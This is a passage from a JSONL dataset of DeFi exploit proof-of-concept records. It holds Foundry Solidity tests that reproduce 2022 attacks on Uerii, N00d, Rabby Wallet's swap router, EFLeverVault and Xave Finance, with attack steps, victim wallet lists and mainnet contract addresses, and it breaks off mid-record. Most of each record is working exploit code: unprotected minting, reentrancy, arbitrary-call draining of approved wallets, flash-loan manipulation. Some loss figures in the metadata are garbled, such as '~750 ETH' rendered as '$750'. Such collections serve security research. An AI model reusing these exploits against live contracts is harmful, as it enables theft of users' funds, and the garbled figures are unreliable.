"https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~2,5K USDC", "category": "access-control", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WETH balance before exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n\n // Actual payload exploiting the missing access control\n UERII_TOKEN.mint();\n\n // Exchanging the newly minted UERII for USDC\n UERII_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);\n _UERIIToUSDC();\n\n // Exchanging all USDC for WETH\n USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);\n _USDCToWETH();\n\n emit log_named_decimal_uint(\n \"[End] Attacker WETH balance after exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all UERII to USDC\n */", "has_exploit_code": true, "keyinfo_total_lost": "~2,5K USDC", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0xFD4DcCD754EAaA8C9196998c5Bb06A56dF6a1D95", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be", "keyinfo_attack_tx": "https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 8.85, "quality_estimate": "high", "title": "Uerii Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Analysis\n// https://twitter.com/BlockSecTeam/status/1584959295829180416\n// https://twitter.com/AnciliaInc/status/1584955717877784576\n// TX\n// https://etherscan.io/tx/0x8037b3dc0bf9d5d396c10506824096afb8125ea96ada011d35faa89fa3893aea\n\ninterface sushiBar {\n function enter(\n uint256\n ) external;\n function leave(\n uint256\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC777 n00d = IERC777(0x2321537fd8EF4644BacDCEec54E5F35bf44311fA);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 Xn00d = IERC20(0x3561081260186E69369E6C32F280836554292E08);\n sushiBar Bar = sushiBar(0x3561081260186E69369E6C32F280836554292E08);\n ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n uint256 i;\n uint256 enterAmount = 0;\n uint256 n00dReserve;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 15_826_379);\n }\n\n function testExploit() public {\n registry.setInterfaceImplementer(\n address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)\n );\n n00d.approve(address(Bar), type(uint256).max);\n // The swap is performed 4 times.\n int256 j;\n for (j = 1; j < 5; j++) {\n (n00dReserve,,) = Pair.getReserves();\n Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));\n }\n // Now all funds can be swapped back to WETH.\n (n00dReserve,,) = Pair.getReserves();\n Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));\n uint256 amountIn = n00d.balanceOf(address(this));\n (uint256 n00dR, uint256 WETHR,) = Pair.getReserves();\n uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);\n n00d.transfer(address(Pair), amountIn);\n Pair.swap(0, amountOut, address(this), \"\");\n\n emit log_named_decimal_uint(\"Attacker WETH profit after exploit\", WETH.balanceOf(address(this)), 18);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n // Resetting count to 0 so we perform re-entry twice each time we swap/loan.\n i = 0;\n enterAmount = n00d.balanceOf(address(this)) / 5;\n Bar.enter(enterAmount);\n Bar.leave(Xn00d.balanceOf(address(this)));\n n00d.transfer(address(Pair), n00dReserve * 1000 / 997 + 1000);\n }\n\n function tokensToSend(\n address operator,\n address from,\n address to,\n uint256 amount,\n bytes calldata userData,\n bytes calldata operatorData\n ) external {\n if (to == address(Bar) && i < 2) {\n i++;\n Bar.enter(enterAmount);\n }\n }\n\n function tokensReceived(\n address operator,\n address from,\n address to,\n uint256 amount,\n bytes calldata userData,\n bytes calldata operatorData\n ) external {}\n}\n", "type": "exploit_poc", "protocol": "N00d", "date": "2022-10", "file_name": "N00d_exp.sol", "attack_vector": null, "content_hash": "1cc00da76422804e", "collected_at": "2026-01-07T10:59:16.517285", "_source": "postmortems", "chain": "ethereum", "block_number": 15826379, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n registry.setInterfaceImplementer(\n address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)\n );\n n00d.approve(address(Bar), type(uint256).max);\n // The swap is performed 4 times.\n int256 j;\n for (j = 1; j < 5; j++) {\n (n00dReserve,,) = Pair.getReserves();\n Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));\n }\n // Now all funds can be swapped back to WETH.\n (n00dReserve,,) = Pair.getReserves();\n Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));\n uint256 amountIn = n00d.balanceOf(address(this));\n (uint256 n00dR, uint256 WETHR,) = Pair.getReserves();\n uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);\n n00d.transfer(address(Pair), amountIn);\n Pair.swap(0, amountOut, address(this), \"\");\n\n emit log_named_decimal_uint(\"Attacker WETH profit after exploit\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.63, "quality_estimate": "low", "title": "N00d Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~200,000 US$\n// Attacker : 0xb687550842a24d7fbc6aad238fd7e0687ed59d55\n// Attack Contract : 0x9682f31b3f572988f93c2b8382586ca26a866475\n// Vulnerable Contract : 0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1 and these: https://twitter.com/Rabby_io/status/1579833969566449666\n// Attack Txs :\n// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26\n// 0xa02c180149ce03d1b6e3d412585000b968b7db59a277717ec51d0899c1a3c017\n// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26\n// 0xf1c1066c259672396b8f242311a9f1c83bfa52c27529d713d80a3da93047c37f\n// 0x53835af1b7df33435188d2380328b81c0e8a22b01353c76e3dac352275895b45\n// 0x322592750691798488006a26aa042b55ab9d7637f9b0adc42089a4c480e51870\n// 0xce0935010baf445e300d4d600caac7fc1fecb5ccb092cdbef57904aa7e5408b2\n// 0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038\n// 0x9fac5412eb42aab07dcb2c5fbb03669aaa98d9c57849d44d8291d3156d9f4871\n// 0xff1f352912666796d5cd51b5dfa3e6319544aeb5938e1e9f310fd5fcb02be6da\n// 0x84156ea5360b679dfa7cdda80c16aafbfdf1ba20b84bcf76f79666f0c405b86f\n// 0xc10ec615e2d18c8a7dad2bb2418c422472565d9622ed851298fc848c3a451387\n// 0x7cefbfd14497b1c577423d94ea521615991eee2590fab980230d9dd1d80ccf1c\n// 0x8bcac5e570aa695b5e0ce7dd58766eaa5830f44bbef5008aef63c6efb036e717\n// 0xb3af75f703ddc5d15ff872585b7d970c5204b90399a5859ec39e736a2ffbf375\n// 0x708ffcf4a76bd159056afb17ce6c5f5adcb5899e465bbf038aae79c3cef666ae\n// 0xca53e107a9a21d8f431614570a98c4718cca7172415e3fbed8842d426ac3ab54\n// 0x5bbab18059f8c3fec56a0ddcd15feddf7cda8b8007b254436956db1d9ffe72ec\n// 0x6899b8caee16dbd75359cabcd24e32b2362c474cdf39ea810cf4386018761beb\n// 0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41\n// Reproduce Tx: Steal USDC - 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26\n\n// @Analysis\n// Twitter Supremacy : https://twitter.com/Supremacy_CA/status/1579813933669486592\n// Twitter SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945\n// Twitter Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139\n\n// Root cause : Classic arbitrary external call vulnerability\n// Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash\n\ncontract ContractTest is Test {\n IRabbySwap constant RABBYSWAP_ROUTER = IRabbySwap(0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1);\n IUSDT constant USDT_TOKEN = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_724_451);\n vm.label(address(RABBYSWAP_ROUTER), \"RABBYSWAP_ROUTER\");\n vm.label(address(USDT_TOKEN), \"USDT_TOKEN\");\n vm.label(address(USDC_TOKEN), \"USDC_TOKEN\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDC balance before exploit\", USDC_TOKEN.balanceOf(address(this)), 6\n );\n\n // Somehow attacker got these EOA addresses that approved the Rabby Wallet Swap Router contract.\n // ...Maybe the attacker grepped the history Txs and found those victims that interacted with the Swap Router contract.\n address[29] memory victims = [\n 0x94228872bb16CBCDfe010c42a8e456d15B366bF1,\n 0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,\n 0xDAcCce559a0571083556f39d05b177579613D83b,\n 0x720610ed4925676D971B0ae5b3080bd233E19038,\n 0xf9e1D1e9F22c96752356AdFd377231528c7E851E,\n 0xAF22b1692dEe5929952cFBA4D9a74c0952C712C8,\n 0xFcdB212E7e7588D2dd2cc44C30F6C79fB507DB4B,\n 0x9A93C5f7680724F6b7097085B0052A56D80615Bd,\n 0x491968b05D95979BA3a52D73D8a39EA96693f011,\n 0xc64284527B04A48c6673dF62f5B48188Ccfdf658,\n 0x9df99a08710615FaBcb16Ea0b05ED039e8a5F644,\n 0xc897967Bab363caDD4F3001d51506bCc5DD6f6C2,\n 0x48aa9d67cb713804C005516BCa7769c159d7897C,\n 0xB9AFb68de4E1f89acA813ca75d87bd86a1a17aa3,\n 0xC10898edA672fDFc4Ac0228bB1Da9b2bF54C768f,\n 0x73B37009778048f6dB88fD602582473e74e5019a,\n 0xbB4b297cC5257D8ab7F280361C96b3A27014EbBb,\n 0x5BE2539BaA7622865FDc401bA26adB636d78f5Bf,\n 0x25939E70Dc19ef0aa2819f5c6544712a36eEbfa7,\n 0x5853eD4f26A3fceA565b3FBC698bb19cdF6DEB85,\n 0x73a6b16aD155aCd15F1A69e61369DB883dFC0b0b,\n 0xE451DC0948F33B1261c585f0DB84cca9Ab69F3A4,\n 0xd38023D7Ee559672fA00eA5156734710bcc0e781,\n 0x059c1592696D430E7bA8cccC984BA9639b8CF90B,\n 0x69AfE88F22F416fFB7d2Bf119b31EBc0D0d85325,\n 0xD506Fb416B0ad8DBf7859B9B38c435405E3d1110,\n 0xe7b6804A9fE8aDEb109112A8A2CF40093E0d55fc,\n 0xeEBbAf298bb8B5076723d69AF61bf75a5C2ad8d6,\n 0x1Fc550e98aD3021e32C47A84019F77a0792c60B7\n ];\n\n for (uint256 i; i < victims.length; ++i) {\n // Step 1: Check the victim's USDC balance and allowance to RABBYSWAP_ROUTER\n uint256 vic_balance = USDC_TOKEN.balanceOf(victims[i]);\n uint256 vic_allowance = USDC_TOKEN.allowance(victims[i], address(RABBYSWAP_ROUTER));\n\n // Step 2: If allowance >= balance: exploit!\n if (vic_allowance >= vic_balance) {\n // Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.\n bytes memory usdc_callbackData = abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\", victims[i], address(this), vic_balance\n );\n RABBYSWAP_ROUTER.swap(\n address(USDT_TOKEN),\n 0,\n address(this),\n 4660,\n address(USDC_TOKEN),\n address(USDC_TOKEN),\n usdc_callbackData,\n block.timestamp\n );\n }\n }\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance before exploit\", USDC_TOKEN.balanceOf(address(this)), 6\n );\n }\n\n function balanceOf(\n address\n ) external pure returns (uint256) {\n return 100e18;\n }\n\n function transfer(address, uint256) external pure returns (bool) {\n return true;\n }\n\n receive() external payable {}\n}\n\n/* -------------------- RabbySwap Interface -------------------- */\ninterface IRabbySwap {\n function swap(\n address srcToken,\n uint256 amount,\n address dstToken,\n uint256 minReturn,\n address dexRouter,\n address dexSpender,\n bytes memory data,\n uint256 deadline\n ) external;\n}\n", "type": "exploit_poc", "protocol": "RabbyWallet_SwapRouter", "date": "2022-10", "file_name": "RabbyWallet_SwapRouter_exp.sol", "attack_vector": null, "content_hash": "794442cc5b315685", "collected_at": "2026-01-07T10:59:16.517348", "_source": "postmortems", "chain": "unknown", "block_number": 15724451, "total_lost_raw": "~200,000 US$", "total_lost_usd": 200.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~200,000 US$", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDC balance before exploit\", USDC_TOKEN.balanceOf(address(this)), 6\n );\n\n // Somehow attacker got these EOA addresses that approved the Rabby Wallet Swap Router contract.\n // ...Maybe the attacker grepped the history Txs and found those victims that interacted with the Swap Router contract.\n address[29] memory victims = [\n 0x94228872bb16CBCDfe010c42a8e456d15B366bF1,\n 0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,\n 0xDAcCce559a0571083556f39d05b177579613D83b,\n 0x720610ed4925676D971B0ae5b3080bd233E19038,\n 0xf9e1D1e9F22c96752356AdFd377231528c7E851E,\n 0xAF22b1692dEe5929952cFBA4D9a74c0952C712C8,\n 0xFcdB212E7e7588D2dd2cc44C30F6C79fB507DB4B,\n 0x9A93C5f7680724F6b7097085B0052A56D80615Bd,\n 0x491968b05D95979BA3a52D73D8a39EA96693f011,\n 0xc64284527B04A48c6673dF62f5B48188Ccfdf658,\n 0x9df99a08710615FaBcb16Ea0b05ED039e8a5F644,\n 0xc897967Bab363caDD4F3001d51506bCc5DD6f6C2,\n 0x48aa9d67cb713804C005516BCa7769c159d7897C,\n 0xB9AFb68de4E1f89acA813ca75d87bd86a1a17aa3,\n 0xC10898edA672fDFc4Ac0228bB1Da9b2bF54C768f,\n 0x73B37009778048f6dB88fD602582473e74e5019a,\n 0xbB4b297cC5257D8ab7F280361C96b3A27014EbBb,\n 0x5BE2539BaA7622865FDc401bA26adB636d78f5Bf,\n 0x25939E70Dc19ef0aa2819f5c6544712a36eEbfa7,\n 0x5853eD4f26A3fceA565b3FBC698bb19cdF6DEB85,\n 0x73a6b16aD155aCd15F1A69e61369DB883dFC0b0b,\n 0xE451DC0948F33B1261c585f0DB84cca9Ab69F3A4,\n 0xd38023D7Ee559672fA00eA5156734710bcc0e781,\n 0x059c1592696D430E7bA8cccC984BA9639b8CF90B,\n 0x69AfE88F22F416fFB7d2Bf119b31EBc0D0d85325,\n 0xD506Fb416B0ad8DBf7859B9B38c435405E3d1110,\n 0xe7b6804A9fE8aDEb109112A8A2CF40093E0d55fc,\n 0xeEBbAf298bb8B5076723d69AF61bf75a5C2ad8d6,\n 0x1Fc550e98aD3021e32C47A84019F77a0792c60B7\n ];\n\n for (uint256 i; i < victims.length; ++i) {\n // Step 1: Check the victim's USDC balance and allowance to RABBYSWAP_ROUTER\n uint256 vic_balance = USDC_TOKEN.balanceOf(victims[i]);\n uint256 vic_allowance = USDC_TOKEN.allowance(victims[i], address(RABBYSWAP_ROUTER));\n\n // Step 2: If allowance >= balance: exploit!\n if (vic_allowance >= vic_balance) {\n // Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.\n bytes memory usdc_callbackData = abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\", victims[i], address(this), vic_balance\n );\n RABBYSWAP_ROUTER.swap(\n address(USDT_TOKEN),\n 0,\n address(this),\n 4660,\n address(USDC_TOKEN),\n address(USDC_TOKEN),\n usdc_callbackData,\n block.timestamp\n );\n }\n }\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance before exploit\", USDC_TOKEN.balanceOf(address(this)), 6\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~200,000 US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200", "content_richness_score": 7, "quality_estimate": "medium", "title": "RabbyWallet_SwapRouter Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~750 ETH\n// Attacker : 0xdf31F4C8dC9548eb4c416Af26dC396A25FDE4D5F\n// Attack Contracts :\n// - https://etherscan.io/address/0x140cca423081ed0366765f18fc9f5ed299699388\n// - https://etherscan.io/address/0x8663fbfc41a0bac88e7cd4b128b7a77381e77781\n// Vulnerable Contract : https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309\n// Attack Txs :\n// - https://etherscan.io/tx/0x1f1aba5bef04b7026ae3cb1cb77987071a8aff9592e785dd99860566ccad83d1 frontrun bot\n// - https://etherscan.io/tx/0x160c5950a01b88953648ba90ec0a29b0c5383e055d35a7835d905c53a3dda01e exploiter\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309#code#L324\n\n// @Analysis\n// Twitter Supremacy : https://twitter.com/Supremacy_CA/status/1581012823701786624\n// Twitter MevRefund : https://twitter.com/MevRefund/status/1580917351217627136\n// Twitter Daniel Von Fange : https://twitter.com/danielvf/status/1580936010556661761\n\ninterface IEFLeverVault {\n function deposit(\n uint256\n ) external payable;\n function withdraw(\n uint256\n ) external;\n}\n\ncontract ContractTest is Test {\n IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IEFLeverVault constant EFLEVER_VAULT = IEFLeverVault(0xe39fd820B58f83205Db1D9225f28105971c3D309);\n IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_746_199);\n // Adding labels to improve stack traces' readability\n vm.label(address(WETH_TOKEN), \"WETH_TOKEN\");\n vm.label(address(EFLEVER_VAULT), \"EFLEVER_VAULT\");\n vm.label(address(BALANCER_VAULT), \"BALANCER_VAULT\");\n vm.label(0xBAe7EC1BAaAe7d5801ad41691A2175Aa11bcba19, \"EF_LEVER_TOKEN\");\n vm.label(0x071108Ad85d7a766B41E0f5e5195537A8FC8E74D, \"EF_LEVER_UNVERIFIED_SAFEMATH\");\n vm.label(0x030bA81f1c18d280636F32af80b9AAd02Cf0854e, \"aWETH_TOKEN\");\n vm.label(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84, \"stETH_TOKEN\");\n vm.label(0x1982b2F5814301d4e9a8b0201555376e62F82428, \"aSTETH_TOKEN\");\n vm.label(0xF63B34710400CAd3e044cFfDcAb00a0f32E33eCf, \"variableDebtWETH_TOKEN\");\n vm.label(0xA50ba011c48153De246E5192C8f9258A2ba79Ca9, \"AAVE_ORACLE\");\n vm.label(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9, \"AAVE_LENDING_POOL_V2\");\n vm.label(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022, \"CURVE_stETH_POOL\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WETH balance before exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n uint256 ethBalanceBefore = address(this).balance;\n\n // Deposit 0.1 ETH into the EFLever Vault\n EFLEVER_VAULT.deposit{value: 1e17}(1e17);\n\n emit log_named_decimal_uint(\n \"\\n\\tBefore flashloan, ETH balance in EFLeverVault\", address(EFLEVER_VAULT).balance, 18\n );\n // Flashloan to manipulate contract's balance\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1000 * 1e18;\n bytes memory userData = \"0x2\";\n BALANCER_VAULT.flashLoan(address(EFLEVER_VAULT), tokens, amounts, userData);\n emit log_named_decimal_uint(\n \"\\tAfter flashloan, ETH balance in EFLeverVault\", address(EFLEVER_VAULT).balance, 18\n );\n EFLEVER_VAULT.withdraw(9e16);\n emit log_named_decimal_uint(\"\\tAfter withdraw, ETH balance in EFLeverVault\", address(EFLEVER_VAULT).balance, 18);\n\n // Swap the profit in ETH to WETH\n uint256 ethProfit = address(this).balance - ethBalanceBefore;\n WETH_TOKEN.deposit{value: ethProfit}();\n\n emit log_named_decimal_uint(\n \"\\n[End] Attacker WETH balance after exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "EFLeverVault", "date": "2022-10", "file_name": "EFLeverVault_exp.sol", "attack_vector": "flash_loan", "content_hash": "4f778930b29683db", "collected_at": "2026-01-07T10:59:16.517409", "_source": "postmortems", "chain": "ethereum", "block_number": 15746199, "total_lost_raw": "~750 ETH", "total_lost_usd": 750.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~750 ETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WETH balance before exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n uint256 ethBalanceBefore = address(this).balance;\n\n // Deposit 0.1 ETH into the EFLever Vault\n EFLEVER_VAULT.deposit{value: 1e17}(1e17);\n\n emit log_named_decimal_uint(\n \"\\n\\tBefore flashloan, ETH balance in EFLeverVault\", address(EFLEVER_VAULT).balance, 18\n );\n // Flashloan to manipulate contract's balance\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1000 * 1e18;\n bytes memory userData = \"0x2\";\n BALANCER_VAULT.flashLoan(address(EFLEVER_VAULT), tokens, amounts, userData);\n emit log_named_decimal_uint(\n \"\\tAfter flashloan, ETH balance in EFLeverVault\", address(EFLEVER_VAULT).balance, 18\n );\n EFLEVER_VAULT.withdraw(9e16);\n emit log_named_decimal_uint(\"\\tAfter withdraw, ETH balance in EFLeverVault\", address(EFLEVER_VAULT).balance, 18);\n\n // Swap the profit in ETH to WETH\n uint256 ethProfit = address(this).balance - ethBalanceBefore;\n WETH_TOKEN.deposit{value: ethProfit}();\n\n emit log_named_decimal_uint(\n \"\\n[End] Attacker WETH balance after exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~750 ETH", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xe39fd820b58f83205db1d9225f28105971c3d309", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$750", "content_richness_score": 8.08, "quality_estimate": "high", "title": "EFLeverVault Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 100,000,000,000,000 RNBW\n// Attacker : 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2\n// Attack Contract : 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3\n// Vulnerable Contract : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F\n// Attack Tx : https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F#code\n\n// @Analysis\n// Article post mortem Xave Finance : https://medium.com/xave-finance/post-mortem-safenap-dao-module-bug-505958e9c716\n// Article Andrei Simion : https://gist.github.com/andreiashu/da5909a7230ff67a8c3b4018a9717276\n// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/1579040051853303808\n// Twitter Ancilia : https://twitter.com/AnciliaInc/status/1578952542926491650\n\ncontract Enum {\n enum Operation {\n Call,\n DelegateCall\n }\n}\n\ninterface IDaoModule {\n function getTransactionHash(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation,\n uint256 nonce\n ) external view returns (bytes32);\n\n function executeProposalWithIndex(\n string memory proposalId,\n bytes32[] memory txHashes,\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation,\n uint256 txIndex\n ) external;\n\n function addProposal(string memory proposalId, bytes32[] memory txHashes) external;\n\n function buildQuestion(string memory proposalId, bytes32[] memory txHashes) external pure returns (string memory);\n\n function questionIds(\n bytes32\n ) external returns (bytes32);\n}\n\ninterface IRealitio {\n function submitAnswer(bytes32 question_id, bytes32 answer, uint256 max_previous) external payable;\n}\n\ninterface IPrimaryBridge {\n function owner() external view returns (address);\n}\n\ncontract XaveFinanceExploit is Test {\n IERC20 constant RNBW_TOKEN = IERC20(0xE94B97b6b43639E238c851A7e693F50033EfD75C);\n IERC20 constant LPOP_TOKEN = IERC20(0x6335A2E4a2E304401fcA4Fc0deafF066B813D055);\n IPrimaryBridge constant PRIMARY_BRIDGE = IPrimaryBridge(0x579270F151D142eb8BdC081043a983307Aa15786);\n IDaoModule constant DAO_MODULE = IDaoModule(0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F);\n IRealitio constant REALITIO = IRealitio(0x325a2e0F3CCA2ddbaeBB4DfC38Df8D19ca165b47);\n address constant ATTACKER_EOA = 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2;\n address constant ATTACKER_CONTRACT = 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_704_736);\n // Adding labels to improve stack traces' readability\n vm.label(address(RNBW_TOKEN), \"RNBW_TOKEN\");\n vm.label(address(LPOP_TOKEN), \"LPOP_TOKEN\");\n vm.label(address(PRIMARY_BRIDGE), \"PRIMARY_BRIDGE\");\n vm.label(address(DAO_MODULE), \"DAO_MODULE\");\n vm.label(address(REALITIO), \"REALITIO\");\n vm.label(ATTACKER_EOA, \"ATTACKER_EOA\");\n vm.label(ATTACKER_CONTRACT, \"ATTACKER_CONTRACT\");\n vm.label(0x7eaE370E6a76407C3955A2f0BBCA853C38e6454E, \"XAVE_GNOSIS_SAFE_MULTISIG\");\n }\n\n function encodeWithSignature_mint(address to, uint256 amount) internal pure returns (bytes memory) {\n return abi.encodeWithSignature(\"mint(address,uint256)\", to, amount);\n }\n\n function encodeWithSignature_transferOwnership(\n address to\n ) internal pure returns (bytes memory) {\n return abi.encodeWithSignature(\"transferOwnership(address)\", to);\n }\n\n function testAttack() public {\n // tx to mint 100,000,000,000,000 RNBW tokens\n bytes32 tx0 = DAO_MODULE.getTransactionHash(\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),\n //hex\"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000\",\n Enum.Operation(0),\n 0\n );\n\n // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n bytes32 tx1 = DAO_MODULE.getTransactionHash(\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 1\n );\n\n // tx to transferOwnership() to ATTACKER_EOA 